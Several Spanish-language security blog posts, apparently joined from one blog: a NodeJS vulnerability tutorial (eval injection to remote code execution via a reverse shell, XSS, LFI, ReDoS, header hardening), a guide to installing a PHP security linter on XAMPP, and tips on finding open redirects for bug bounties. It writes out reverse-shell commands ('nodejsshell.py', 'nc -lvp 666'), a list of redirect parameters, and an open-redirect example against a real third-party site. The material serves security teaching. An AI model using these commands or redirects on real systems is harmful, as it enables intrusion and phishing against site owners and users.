<span style="font-family: Courier New, Courier, monospace;">En este ejemplo tenemos el siguiente código eval.js, el cual lo que hace es que toma una variable name y esta misma la evalua. Por ejemplo:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpifX66qPuMvVQFLoFHMMOKoxKWv8xzZK0fsQTiHGYhNBx-q4DAi4sdsuBXsVNWCfih2RgRUTDtqJeC_PQmeeFKj1m9tGoxHEr2GWuASWFH1FyAn9vgvmTqwrA9MZ3z2alCxtPu37XBNYg/s1600/Screenshot_84.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="119" data-original-width="710" height="53" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpifX66qPuMvVQFLoFHMMOKoxKWv8xzZK0fsQTiHGYhNBx-q4DAi4sdsuBXsVNWCfih2RgRUTDtqJeC_PQmeeFKj1m9tGoxHEr2GWuASWFH1FyAn9vgvmTqwrA9MZ3z2alCxtPu37XBNYg/s320/Screenshot_84.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhV26XVZDXRCbohyphenhyphenJ9PHfHqeBhYWxLrHKOEM3urvGMUJtQnIb2KmT-5Wux0Vdq5dgT1-eey1FlprbmrYMVcgpSxpwQ5zW1oKMOPOqcz9eBJVJCn1KSxqsAxp9QAgwFFJD9YBdDZPRQH0tp/s1600/Screenshot_86.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="168" data-original-width="507" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhV26XVZDXRCbohyphenhyphenJ9PHfHqeBhYWxLrHKOEM3urvGMUJtQnIb2KmT-5Wux0Vdq5dgT1-eey1FlprbmrYMVcgpSxpwQ5zW1oKMOPOqcz9eBJVJCn1KSxqsAxp9QAgwFFJD9YBdDZPRQH0tp/s320/Screenshot_86.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Vemos como se imprime un hola en consola, esto esta evaluando nuestro código nodejs, podríamos ejecutar algo mas peligroso como cerrar el proceso del servidor:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoH_Tu0LKb1YgAAXEl9TaxzRoe_cgj7kE9N-hJz4kTfbzKWOsm8sd4EYDoV9UwaG64az-dK8Tq80h7ZcCn5wQYXcBW4x7-FKJ7o9euvQ-NZZI3ekckqgdJpmyVAEPm12rUpHq3Frl-71RM/s1600/Screenshot_85.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="474" data-original-width="787" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoH_Tu0LKb1YgAAXEl9TaxzRoe_cgj7kE9N-hJz4kTfbzKWOsm8sd4EYDoV9UwaG64az-dK8Tq80h7ZcCn5wQYXcBW4x7-FKJ7o9euvQ-NZZI3ekckqgdJpmyVAEPm12rUpHq3Frl-71RM/s400/Screenshot_85.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;">Que es lo mas peligroso que podríamos llegar hacer? un RCE podemos ejecutar comandos del sistema con el simple echo de crear un reverse, en este ejemplo utilizamos el generador en python esto hace que la cadena que nos genere la interprete en una sola linea codificada:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSvrxZdev1Jn4EKVc12ke214Kdtrtf7qYXBggm1ooMuz8NzW7dpjSIImZMufDHxNSn5vVHQFbosGcncCklZtKt1Fl5jmwA5sA5j1M1p6mwjtfi2CdXiiqsggFFZR7pdw32qBBpsU_hsQ5o/s1600/Screenshot_90.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="533" data-original-width="650" height="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSvrxZdev1Jn4EKVc12ke214Kdtrtf7qYXBggm1ooMuz8NzW7dpjSIImZMufDHxNSn5vVHQFbosGcncCklZtKt1Fl5jmwA5sA5j1M1p6mwjtfi2CdXiiqsggFFZR7pdw32qBBpsU_hsQ5o/s400/Screenshot_90.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">Generamos el vector de ataque usando: </span></div>
<div class="separator" style="clear: both; text-align: center;">
<b><i><span style="font-family: Courier New, Courier, monospace;">python nodejsshell.py 127</span><span style="font-family: "Courier New", Courier, monospace;">.0.0.1 666</span></i></b></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Courier New", Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Courier New", Courier, monospace;">donde 127.0.0.1 es la ip que esta a la escucha</span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Courier New", Courier, monospace;">y 666 es el puerto</span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwE7Fpj8v_8BWbZu5ACAw32PauzgI2R_eWRKim4NEPjB_iy0edJhn4nS6m1flC-Rl29QjHaNGbYcme_Q7cHCoUUCBeXwKnGQT0mtXJhxKeBq10YEiCf_jtrkXbv1PWj64ap3ad4-fXeFyL/s1600/Screenshot_91.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="794" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwE7Fpj8v_8BWbZu5ACAw32PauzgI2R_eWRKim4NEPjB_iy0edJhn4nS6m1flC-Rl29QjHaNGbYcme_Q7cHCoUUCBeXwKnGQT0mtXJhxKeBq10YEiCf_jtrkXbv1PWj64ap3ad4-fXeFyL/s320/Screenshot_91.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">Usamos:</span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><i><b>nc -lvp 666</b></i></span></div>
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">Para poner el puerto 666 a la escucha de todas las conexiones entrantes.</span></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Aquí vemos como realizamos la conexión reversa efectivamente. El script en python esta realizado especialmente para una terminal de linux por lo que les recomiendo utilizar una terminal a la escucha usando netcat o instalar terminal de ubuntu si tienen windows 10 desde la tienda de windows.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* Entradas no validadas o verificadas</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Al no validar las entradas en la aplicación web puede llegar a tener muchas de las vulnerabilidades que tienen las aplicaciones web comunes tal y como es: SQL Injection (En mongoDB es mas común en nodejs), XSS, LFI, SSRF, IDOR en el blog están varias entradas sobre este tipo de ataques ya que es muy común poder encontrarlas, les recomiendo usar el buscador y pegarles una leída y normalmente se encuentran en el top 10 de owasp. Veremos alguna de ellas:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>XSS</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Gracias a un XSS podemos inyectar codigo javascript dentro de la pagina.</span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4ZVLv9zIQ63E_cfHzqSdZkrbwSHenf7V0XyAMpR1dckaN9uRZ3AE7v4BO0q17P10S9HBORm0bcjylRuZn34pMSyl2uzegcUwXKJ9Xk-Z4lpH6kav9vg8PiVoSMSMO1Ex9E34XWN1QZKf0/s1600/Screenshot_93.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="222" data-original-width="585" height="121" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4ZVLv9zIQ63E_cfHzqSdZkrbwSHenf7V0XyAMpR1dckaN9uRZ3AE7v4BO0q17P10S9HBORm0bcjylRuZn34pMSyl2uzegcUwXKJ9Xk-Z4lpH6kav9vg8PiVoSMSMO1Ex9E34XWN1QZKf0/s320/Screenshot_93.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Tenemos el siguiente archivo <i>simple_server.js</i> el cual contiene una variable <i>name </i>la cual es mostrada en el body de la pagina. Aquí tenemos un claro caso de un XSS reflejado. </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSU1xWW8AGEAbm2xbbaVWhjoexjiGehaP9Y_B3k-pU_ZWFWq_d_vMErMgnmgMu4gZvwpw2sf_EmFITMFzAA01-V_BT2G9qqtk4WCZ831RctTvmIzGNHzSCggQovG0etTe2U7cKFb189GJv/s1600/Screenshot_94.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="118" data-original-width="500" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSU1xWW8AGEAbm2xbbaVWhjoexjiGehaP9Y_B3k-pU_ZWFWq_d_vMErMgnmgMu4gZvwpw2sf_EmFITMFzAA01-V_BT2G9qqtk4WCZ831RctTvmIzGNHzSCggQovG0etTe2U7cKFb189GJv/s320/Screenshot_94.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvNSme_JTPmDtmmXEmAhHA0fNaQifgb5xzzqhWKbN1fJXZza8Vj4RYe5sOhMYfysvw6NN_CTUc9Wq9yfSlKutmo7-ebK0VNHoup5S1Dj0o-hSaD8stiVZjucDiycslxJOEHTd9iN3fQ58o/s1600/Screenshot_95.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="408" data-original-width="929" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvNSme_JTPmDtmmXEmAhHA0fNaQifgb5xzzqhWKbN1fJXZza8Vj4RYe5sOhMYfysvw6NN_CTUc9Wq9yfSlKutmo7-ebK0VNHoup5S1Dj0o-hSaD8stiVZjucDiycslxJOEHTd9iN3fQ58o/s320/Screenshot_95.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>LFI</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Con LFI podemos encontrar archivos dentro del servidor locales, asi como intentar escalar privilegios.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZx-oqbqIJugRG-1DIp0OzRc6_AMSmrJw7i-Rgr6kP3o33Z0H-77InlsYNg8UqSVN6DsJAhpdl0v7vnvhB1oD44Ux7qJtNpHuZ7TRbdvCSdYyt3n-TBChndlgXZdBxEHv4CMXmtiAfnUhP/s1600/Screenshot_96.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="297" data-original-width="633" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZx-oqbqIJugRG-1DIp0OzRc6_AMSmrJw7i-Rgr6kP3o33Z0H-77InlsYNg8UqSVN6DsJAhpdl0v7vnvhB1oD44Ux7qJtNpHuZ7TRbdvCSdYyt3n-TBChndlgXZdBxEHv4CMXmtiAfnUhP/s320/Screenshot_96.png" width="320" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El archivo es el siguiente <i>dir_trasversal.js</i> el cual pide un archivo dentro de la variable load, para cargarlo y mostrarlo en la pagina web.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil-RdFReM86zFZV0xbJYMbrsNCpMuzshq-zWNgn07xF9MbBXvtht23MbTXRGGXp7dT58zEGG7Zf2r-ddhIgpNvujlDrpT1tQggVdF-kVHXei2UJ37UU9o41HixJMG6WSNw_Tr6GmXYDh72/s1600/Screenshot_97.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="233" data-original-width="554" height="134" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil-RdFReM86zFZV0xbJYMbrsNCpMuzshq-zWNgn07xF9MbBXvtht23MbTXRGGXp7dT58zEGG7Zf2r-ddhIgpNvujlDrpT1tQggVdF-kVHXei2UJ37UU9o41HixJMG6WSNw_Tr6GmXYDh72/s320/Screenshot_97.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmQP5sWybDIxl34yoGBocXq5mP4-ODg5ZjxAlRMmG2Xo_M6__WLlYaLKbzpYta8sW7n761vUqHOYbSiZq8WNabXdblUCQa-aN_f6PH5O7TPZxlMSxOLpKe4AU8UfEDCLfKA5-5uqeKEt6K/s1600/Screenshot_98.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="423" data-original-width="710" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmQP5sWybDIxl34yoGBocXq5mP4-ODg5ZjxAlRMmG2Xo_M6__WLlYaLKbzpYta8sW7n761vUqHOYbSiZq8WNabXdblUCQa-aN_f6PH5O7TPZxlMSxOLpKe4AU8UfEDCLfKA5-5uqeKEt6K/s400/Screenshot_98.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><b>* Ataque Denegacion de servicio en Expresiones Regulares</b></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">Uno de los ataques mas comunes puede llegar a suceder en NodeJS es que usando alguna entrada grande puedes causar un buffer overflow y hacer que el servidor caiga, realizando fuzzing o ataques brute force en aplicaciones NodeJS también puedes lograr una caída del server.</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPcVtRcq1kYGNVteV6enJw_IM9-RRDT1Ofow-I68O0o_CzOhMBRIBbq2Y1-YebJRduR70oYXP9t8mLbChkIGN2cGzkzgcd19NUgxfH_Kc5fn_A2PsJ44dRDSAzrC2KEZMuCF46tip7RWjA/s1600/Screenshot_99.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="254" data-original-width="877" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPcVtRcq1kYGNVteV6enJw_IM9-RRDT1Ofow-I68O0o_CzOhMBRIBbq2Y1-YebJRduR70oYXP9t8mLbChkIGN2cGzkzgcd19NUgxfH_Kc5fn_A2PsJ44dRDSAzrC2KEZMuCF46tip7RWjA/s400/Screenshot_99.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">En este caso tenemos el siguiente archivo redos.js el cual contiene un parámetro email el cual es validado por una expresión regular que en realidad sea un email.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFBxjWZ03hrqmUXqmkHPslwNrJ49cg5y9DNk5aZEzoopSMjinD6Oz6R9HrNijGqR7_EBFofSS19BHrFcxGw5cJt75rz1Kuj707v85Akmsqv2JzscZk53Yq-lqRBRsvdh4dA7SjSl51OXdK/s1600/Screenshot_101.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="385" data-original-width="843" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFBxjWZ03hrqmUXqmkHPslwNrJ49cg5y9DNk5aZEzoopSMjinD6Oz6R9HrNijGqR7_EBFofSS19BHrFcxGw5cJt75rz1Kuj707v85Akmsqv2JzscZk53Yq-lqRBRsvdh4dA7SjSl51OXdK/s400/Screenshot_101.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfzyA-tVenhBprniLOB5V0GvgzGvp01uTla7sF_joMMGK1RPhYQUVcOBPi3tHZnd7exTjIUkUZ4Yj7C0MiqcgpSAvK4pJ7srK-teGs6FN2LvdqQegAeOOSghb9kzObpwr0JSUEF5eWEZLu/s1600/Screenshot_102.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="343" data-original-width="1362" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfzyA-tVenhBprniLOB5V0GvgzGvp01uTla7sF_joMMGK1RPhYQUVcOBPi3tHZnd7exTjIUkUZ4Yj7C0MiqcgpSAvK4pJ7srK-teGs6FN2LvdqQegAeOOSghb9kzObpwr0JSUEF5eWEZLu/s640/Screenshot_102.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">En el siguiente ejemplo ponemos un email valido y nos arroja un tiempo rápido de validación, pero si realizamos un ataque buffer overflow agregando demasiados caracteres para que la pila se desborde causa un Dos en el servidor, esto también sucede cuando el servidor recibe muchas peticiones con múltiples threads como un dirbuster, dirsearch o brute force.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* Information Disclousure</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Esto es importante ya que nos ayuda a encontrar otros posibles ataques, es muy comun en la fase de reconocimiento.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> - Cabeceras</span><br />
<span style="font-family: Courier New, Courier, monospace;"> - Cookies por defecto</span><br />
<span style="font-family: Courier New, Courier, monospace;"> - Paginas de Error</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQDs6SpEUv0zgMtUGMUDpTD6HcoXjgY1b_9PmUH3YLqkcVKp76ylSJ8dBfnpiJakLlvROsc9X527dD_FiRF4eBN0pDsUxsMQKvhqS5DErhXOznbUrgYjmPvzhT-7QQ92Ok13CsuuPEaqJm/s1600/Screenshot_104.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="694" data-original-width="1012" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQDs6SpEUv0zgMtUGMUDpTD6HcoXjgY1b_9PmUH3YLqkcVKp76ylSJ8dBfnpiJakLlvROsc9X527dD_FiRF4eBN0pDsUxsMQKvhqS5DErhXOznbUrgYjmPvzhT-7QQ92Ok13CsuuPEaqJm/s400/Screenshot_104.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7bteI-WDaT-VZXhAwR-40m4HFASJZ7MmJGgJvIEzh7Mr74Wr0R4JvwhxzBxaJwUf_jgz4OOYihSxHNcR-VBdRLZMzUZxmGIuiEfFneNVVkd5e1vEteNVefVNrPdOYsMBn2qlddRtBCqD/s1600/Screenshot_105.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="312" data-original-width="1169" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio7bteI-WDaT-VZXhAwR-40m4HFASJZ7MmJGgJvIEzh7Mr74Wr0R4JvwhxzBxaJwUf_jgz4OOYihSxHNcR-VBdRLZMzUZxmGIuiEfFneNVVkd5e1vEteNVefVNrPdOYsMBn2qlddRtBCqD/s400/Screenshot_105.png" width="400" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>* Seguridad en las cabeceras</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">La seguridad en las cabeceras nos ayudan para saber si la aplicación permite CORS, si podemos ver las cookies en un alert, si podemos ejecutar javascript usando xss, etc. Las cabeceras pueden a llegar un aliado en nuestra aplicación si están bien configuradas.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><a href="https://securityheaders.com/">https://securityheaders.com/</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Puedes checar las cabeceras inseguras desde esta pagina.</span><br />
<span style="font-family: Courier New, Courier, monospace;">como protección en NodeJS puedes utilizar la librería de helmet: <a href="https://github.com/helmetjs/helmet">https://github.com/helmetjs/helmet</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="color: red; font-family: Courier New, Courier, monospace;"><b>Revisando el código caja blanca</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Por ultimo si tienes el codigo puedes realizar un escaneo usando NodeJS Scan: <a href="https://github.com/ajinabraham/NodeJsScan">https://github.com/ajinabraham/NodeJsScan</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">El cual es gratuito y muy completo, para realizar esta tarea automatizada.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-4123360851009362982018-10-22T22:18:00.000-07:002018-10-23T08:12:32.579-07:00PHPCS Security Audit en XAMPP<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmEjlKiSAi5oly9SXgFxpZPSHMqwFZ94Qdzn6AW7bg1ZOLviC-8Tmo20zkeAxo7-oR2PZloQpWL9IKPBg28jz2DUIW6UpnzuflmCdmwdr-iVIh-Gm3tAbGqjtQXVzgV6HUDOAtdTCT_OO1/s1600/Screenshot_16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="634" data-original-width="715" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmEjlKiSAi5oly9SXgFxpZPSHMqwFZ94Qdzn6AW7bg1ZOLviC-8Tmo20zkeAxo7-oR2PZloQpWL9IKPBg28jz2DUIW6UpnzuflmCdmwdr-iVIh-Gm3tAbGqjtQXVzgV6HUDOAtdTCT_OO1/s320/Screenshot_16.png" width="320" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">phpcs security audit es un conjunto de reglas PHP_CodeSniffer que encuentra vulnerabilidades y debilidades relacionadas con la seguridad en el código</span><span style="font-family: "courier new" , "courier" , monospace;"> PHP.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Github: <a href="https://github.com/FloeDesignTechnologies/phpcs-security-audit">https://github.com/FloeDesignTechnologies/phpcs-security-audit</a></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>1.-</b> Abrir Panel de XAMPP > SHELL > <b>pear install Archive_Tar </b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b>2.-</b> </span><span style="font-family: "courier new" , "courier" , monospace;">Cambiar en </span><b><span style="font-family: "courier new" , "courier" , monospace;">C:/xampp/php/pear/Archive/</span><span style="font-family: "courier new" , "courier" , monospace;">Tar.php</span></b><br />
<span style="font-family: "courier new" , "courier" , monospace;">Si marca error, realizar: </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><b>$v_att_list = & func_get_args();</b></i> </span><br />
<span style="font-family: "courier new" , "courier" , monospace;">a</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><i><b>$v_att_list &= func_get_args();</b></i></span><br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">PD: Funciona en PHP 7.2 usando XAMPP</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><b>3.-</b> </span><span style="font-family: "courier new" , "courier" , monospace;"><b>pear install PHP_CodeSniffer</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b>4.-</b> copiar la carpeta <b><i>Security/</i></b> dentro de <b><i>C:/xampp/php/pear/PHP/CodeSniffer/Standards</i></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b><i>5.- </i></b></span><span style="font-family: courier new, courier, monospace;"><b><i>phpcs --config-set installed_paths C:\xampp\php\pear\PHP\CodeSniffer\Standards\Security</i></b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b>6.-</b> en la consola cmd ejecutar <b><i>phpcs -i</i></b> verificar si esta Security</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b>7.-</b> cmd > <b>phpcs --standard=Security C:/xampp/htdocs/subdomainScanner > c:/users/pc/output.txt</b> (nos tira un resultado output.txt con los resultados)</span><br />
<br />
<div>
<br /></div>
Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-21754357545435883572018-10-12T22:07:00.001-07:002018-10-12T22:18:14.401-07:00Utilizando Redireccionamientos abiertos para bug bounties<span style="font-family: "courier new" , "courier" , monospace;"><b>Introduccion</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Esto es solo una publicacion rapida que describe algunos consejos utiles para identificar vulnerabilidades de redireccionamiento abierto y tambien como utilizarlas para crear vulnerabilidades mas graves.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">A pesar de que son vulnerabilidades de bajo riesgo, todavia hay muchos programas de recompensas que dan pagos por ellos, y generalmente se pueden convertir en XSS con bastante facilidad, lo que permite un pago en practicamente todos los programas de recompensas, aqui hay algunos ejemplo de programas que pagan por redirecciones abiertas:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">* Shopify: $500</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Okta: $500</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* Teslamotors: $500</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Los redireccionamientos abiertos (para cualquier persona que no lo sepa) son simplemente enlaces donde puede especificar un enlace a una URL remota desde una URL confiable y redirigira al usuario alli sin una advertencia, lo que puede llevar a un phishing entre otros riesgos, aqui un ejemplo:</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">http://www.construcciononline.com.mx/redirect.php?clasif=296&edo=&mpio=&type=8&url=arthusu.blogspot.com&path=/busca.php&id_cliente=148547</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">en este caso, un atacante podria redirigir desde construcciononline a arthusu.blogspot.com</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">* ?url=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?redirecturl=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?returnUrl=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?go=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?return=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?exitpage=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?fromUrl=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?fromuri=</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">* ?redirect_to= </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">Hay muchos mas, estos son algunos ejemplos de como podemos darnos cuenta facilmente o buscar dorks sobre las redirecciones de URL.</span><br />
